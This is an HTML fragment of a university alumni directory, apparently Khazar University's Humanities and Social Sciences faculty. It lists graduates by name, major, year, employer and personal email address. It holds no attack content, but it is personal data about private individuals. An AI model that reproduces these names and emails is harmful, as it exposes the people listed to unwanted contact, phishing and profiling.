href=\"http://mailto:akif.memmedov.87@mail.ru/\">akif.memmedov.87@mail.ru</a></p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Aynur Abdullayeva&nbsp;</strong></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Aynurka48@gmail.com\">Aynurka48[at]gmail.com</a></p>\r\n<p>“Sulh travel” Turizm şirkəti</p>\r\n<p><strong><br></strong></p><p><strong>Ayxan Hüseynov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseynov.aykhan@gmail.com\">huseynov.aykhan[at]gmail.com</a></p>\r\n<p>Express Bank</p>\r\n<p><strong><br></strong></p><p><strong>Abdulla Cavadov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:abdullah.javadov@khazar.org\">abdullah.javadov[at]khazar.org</a></p>\r\n<p>Retail Group Azerbaijan, Inditex branch, Zara, Satış\r\nmeneceri</p>\r\n<p><strong><br></strong></p><p><strong>Asəf Sayadlı </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Sayadov.asef@mail.ru\">Sayadov.asef[at]mail.ru</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Alidə Süleymanova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:elide.suleymanova@list.ru\">elide.suleymanova[at]list.ru</a></p><p><br></p>\r\n<p><strong>Aytac Alili </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aliaytac95@mail.ru\">aliaytac95[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Aygün Musazadə </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gumus1905@mail.ru\">gumus1905[at]mail.ru</a></p><p><br></p>\r\n<p><strong>Arzu Əliyeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:arzualiyevaa@gmail.com\">arzualiyevaa[at]gmail.com</a></p>\r\n<p>İstanbul Bilgi Universiteti, Marketing\r\n\\MA</p><p><br></p><p><strong>Aliyə Rəhimova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aliyarahimova96@gmail.com\">aliyarahimova96[at]gmail.com</a></p>\r\n<p>“Loqos”\r\npsixoloji mərkəzi, uşaq psixoloqu</p>\r\n<p><strong><br></strong></p><p><strong>Adilə Bəhramlı </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Behramli_96@mail.ru\">Behramli_96[at]mail.ru</a></p>\r\n<p>“Odlar Yurdu” Universiteti</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Aida Abdullazadə</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aidaabdullazade@gmail.com\">aidaabdullazade[at]gmail.com</a> &nbsp;</p>\r\n<p>“Dunya məktəbi”, sinif rəhbəri</p>\r\n<p><strong><br></strong></p><p><strong>Aynur Ələsgərova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Ümumi psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aynuralasgarovaaze@gmail.com\">aynuralasgarovaaze[at]gmail.com</a></p><p><br></p>\r\n<p><strong>Aysel Xanməmmədova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Ümumi psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aysel.xanmemmedova@mail.ru\">aysel.xanmemmedova[at]mail.ru</a></p>\r\n<p>“Medina” Psixoloji tibbi klinika, psixoloq</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aydan Cavadova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcümə/ingilis dili</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:aydan.cavadova@yahoo.com\">aydan.cavadova@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aytac Şəfiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">“Uğur” İnkişaf Mərkəzi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aydan Sabirli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Türkiyədə magistr (Üsküdar Universiteti)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:aydask@mail.ru\">aydask@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aysel İsgəndərli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:aysel.isgenderli@gmail.com\">aysel.isgenderli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Afag Okafor</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Beynelxalq huquq fakultesi</p><p>E-mail:&nbsp;<a href=\"mailto:afag_okafor@yahoo.com\">afag_okafor@yahoo.com</a></p><p><a href=\"mailto:afag_okafor@yahoo.com\"></a>2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Alina Pankratova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcüməçi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Alina.pankratova@inbox.ru\">Alina.pankratova@inbox.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aytac Muradova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İngilis dili filologiyası</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Ayka.memmedzade.93@mail.ru\">Ayka.memmedzade.93@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Aynur Qarayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalist</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">\"Anadoli pazarlama\"</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:aqarayeva@yahoo.com\">aqarayeva@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Alim Abdullyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:alim.abdullayev@gmail.com\">alim.abdullayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Ayxan</strong>&nbsp;Şıxalıyev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əmək və Əhalinin Sosial Müdafiəsi Nazirliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sixaliyevayxan@gmail.com\">sixaliyevayxan@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Anar</strong>&nbsp;Məmmədov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nivelsoft şirketi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:anar.Mammadov3@gmail.com\">anar.Mammadov3@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Anar</strong>&nbsp;Hümmətov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">“Universal” Company Sales Manager</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:agummetov@gmail.com\">agummetov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Arzu Rzayeva&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə) &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aydan İbrahimova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə) &nbsp;&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aysel Məmmədzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aytac Məmmədzadə&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ağa Əsgərov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politalogiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aftandil Qeysərzadə</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politalogiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aydan Şirməmmədova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politalogiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aytac Tağıyeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aysel Əlizadə&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aygül Əliyeva &nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aynur Ömərli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aidə Qasımova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Beynəlxalq Münasibətlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p 